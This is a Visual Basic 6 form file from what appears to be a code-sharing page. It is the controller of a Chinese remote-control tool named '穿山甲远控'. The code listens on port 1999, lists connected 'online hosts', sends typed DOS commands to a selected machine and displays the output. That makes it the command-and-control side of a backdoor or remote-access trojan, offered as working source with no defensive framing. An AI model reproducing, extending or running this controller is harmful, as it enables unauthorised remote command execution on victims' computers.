📄 frmserver.frm
字号:
VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Begin VB.Form frmserver
BorderStyle = 1 'Fixed Single
Caption = "穿山甲远控—客户端"
ClientHeight = 6960
ClientLeft = 2355
ClientTop = 930
ClientWidth = 9930
Icon = "frmserver.frx":0000
LinkTopic = "Form1"
MaxButton = 0 'False
ScaleHeight = 6960
ScaleWidth = 9930
Begin VB.CommandButton Command4
Caption = "退 出"
BeginProperty Font
Name = "楷体_GB2312"
Size = 9
Charset = 134
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 375
Left = 9060
TabIndex = 8
Top = 6060
Width = 675
End
Begin VB.CommandButton Command2
Caption = "配 置"
BeginProperty Font
Name = "楷体_GB2312"
Size = 9
Charset = 134
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 375
Left = 7800
TabIndex = 7
Top = 6120
Width = 675
End
Begin VB.ListBox List1
ForeColor = &H00000000&
Height = 5100
ItemData = "frmserver.frx":08CA
Left = 7800
List = "frmserver.frx":08CC
TabIndex = 3
Top = 840
Width = 1935
End
Begin VB.TextBox Text2
ForeColor = &H00000000&
Height = 5115
Left = 120
MultiLine = -1 'True
ScrollBars = 2 'Vertical
TabIndex = 2
Top = 840
Width = 7515
End
Begin VB.CommandButton Command1
Caption = "发 送"
Default = -1 'True
BeginProperty Font
Name = "楷体_GB2312"
Size = 9
Charset = 134
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 375
Left = 6300
TabIndex = 1
Top = 6120
Width = 735
End
Begin VB.TextBox Text1
BeginProperty Font
Name = "宋体"
Size = 10.5
Charset = 134
Weight = 400
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
ForeColor = &H00000000&
Height = 375
Left = 1020
TabIndex = 0
Top = 6120
Width = 5115
End
Begin MSWinsockLib.Winsock sckserver
Index = 0
Left = 6420
Top = 300
_ExtentX = 741
_ExtentY = 741
_Version = 393216
End
Begin VB.Label Label4
Caption = "版权所有:穿山甲"
Height = 195
Left = 3720
TabIndex = 9
Top = 6660
Width = 1635
End
Begin VB.Label Label3
Caption = "DOS命令:"
Height = 255
Left = 120
TabIndex = 6
Top = 6240
Width = 915
End
Begin VB.Label Label2
BackStyle = 0 'Transparent
Caption = "上线主机列表"
BeginProperty Font
Name = "楷体_GB2312"
Size = 14.25
Charset = 134
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
ForeColor = &H00000000&
Height = 375
Left = 7860
TabIndex = 5
Top = 420
Width = 1935
End
Begin VB.Label Label1
AutoSize = -1 'True
BackStyle = 0 'Transparent
Caption = "信息返回框"
BeginProperty Font
Name = "楷体_GB2312"
Size = 14.25
Charset = 134
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
ForeColor = &H00000000&
Height = 285
Left = 2880
TabIndex = 4
Top = 360
Width = 1575
End
End
Attribute VB_Name = "frmserver"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Private Sub Form_Load()
sckserver(0).LocalPort = 1999 '监听端口设置
sckserver(0).Listen '开始一直监听
End Sub
Private Function FindOpenWinsock() '此函数用来为新用户提供新的控件
For x = 0 To sckserver.UBound
If sckserver(x).State = 0 Then '如果状态为0,即关闭,我们可以使用它
FindOpenWinsock = x
Exit Function '跳出函数,当然也跳出了循环
End If
Next x
Load sckserver(sckserver.UBound + 1) '没有可用的,就装载一个最新的
FindOpenWinsock = sckserver.UBound '返回新的序号值,即新装载控件的序号
End Function
'御载模块
Private Sub Form_Unload(Cancel As Integer)
For i = 0 To sckserver.UBound
sckserver(i).Close
Next
End Sub
'监听关闭模块
Private Sub sckserver_Close(index As Integer)
Dim myindex As Integer
For x = 0 To List1.ListCount
If mystr(CStr(index)) = Left(CStr(List1.List(x)), 3) Then
myindex = x
Exit For
End If
Next x
List1.RemoveItem myindex
sckserver(index).Close
End Sub
'添加上线主机模块
Private Sub sckserver_ConnectionRequest(index As Integer, ByVal requestID As Long)
index = FindOpenWinsock()
sckserver(index).Accept requestID
List1.AddItem mystr(CStr(index)) & "号机:" & sckserver(index).RemoteHostIP
End Sub
'接收返回数据模块
Private Sub sckserver_DataArrival(index As Integer, ByVal bytesTotal As Long)
Dim s As String
Dim mytext As String
mytext = Text2.Text
sckserver(index).GetData s
Text2.Text = mytext & s & Chr(13)
End Sub
'函数mystr用来保持字符串的长度为3
Private Function mystr(s As String)
If Len(s) > 3 Then
MsgBox "连接的客户数超过了999 !程序会发生错误。", vbOKOnly, "新媒体软件提示"
Exit Function
End If
If Len(s) = 3 Then
mystr = s
Else
If Len(s) = 2 Then
mystr = " " & s
Else
mystr = " " & s
End If
End If
End Function
'发送命令模块
Private Sub Command1_Click()
Text2.Text = ""
Dim index As Integer '定义一个winsock数组下标变量
If List1.ListIndex = -1 Then
MsgBox "您没有选定客户机,请在已登录的客户机中选择。", vbOKOnly
Exit Sub
End If
index = Val(LTrim(Left(List1.Text, 3)))
sckserver(index).SendData Text1.Text
Text1.Text = ""
End Sub
Private Sub Command2_Click()
frmserver.Hide
Form1.Show
End Sub
Private Sub Command4_Click()
End
End Sub
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -